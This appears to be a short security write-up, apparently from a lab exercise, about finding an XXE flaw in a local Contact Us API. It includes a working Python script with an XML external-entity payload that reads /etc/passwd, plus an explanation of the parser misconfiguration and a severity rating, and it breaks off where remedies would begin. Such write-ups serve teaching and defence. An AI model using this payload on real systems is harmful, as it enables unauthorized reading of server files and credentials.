xxe

While exploring the application, the Contact Us form attracted my attention. Initially, I tested it by sending JSON payloads, which the server accepted and processed correctly, confirming that the endpoint handles structured data.

Next, I wondered if the endpoint might also accept XML input. If it did, this would open the door to an XXE attack, where malicious XML can be crafted to read arbitrary files from the server.

As suspected, it got passed successfully. Time to inject a DTD for XXE. For this I wrote a simple python script.

import requests

url = "http://localhost/api/contactUs"

payload = '''<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>&xxe;</name>
</root>'''

headers = {
    "Content-Type": "application/xml",
    "Accept": "application/xml"
}

response = requests.post(url, data=payload.encode(), headers=headers)

print("Server Response:")
print(response.text)

The server’s response included the contents of the /etc/passwd file, confirming the XXE vulnerability.

This exploit is significant because it allows reading arbitrary files on the server, potentially exposing sensitive information such as configuration files, credentials, or other data critical to the system’s security.

A possible explanation is when the backend received the XML payload with the external entity, it parsed the XML using a DOM parser configured to load external entities (LIBXML_NOENT | LIBXML_DTDLOAD). This caused the parser to resolve the xxe entity by reading the contents of the specified file (/etc/passwd) from the server’s filesystem and substitute it directly into the XML structure. Because the application then included this expanded XML content in its response without sanitization, the sensitive file contents were leaked, making the XXE attack successful.

This is a High severity issue (CVSS ~7.5) since it allows an attacker to read arbitrary files on the server, potentially exposing sensitive data.

As a remedy, we should: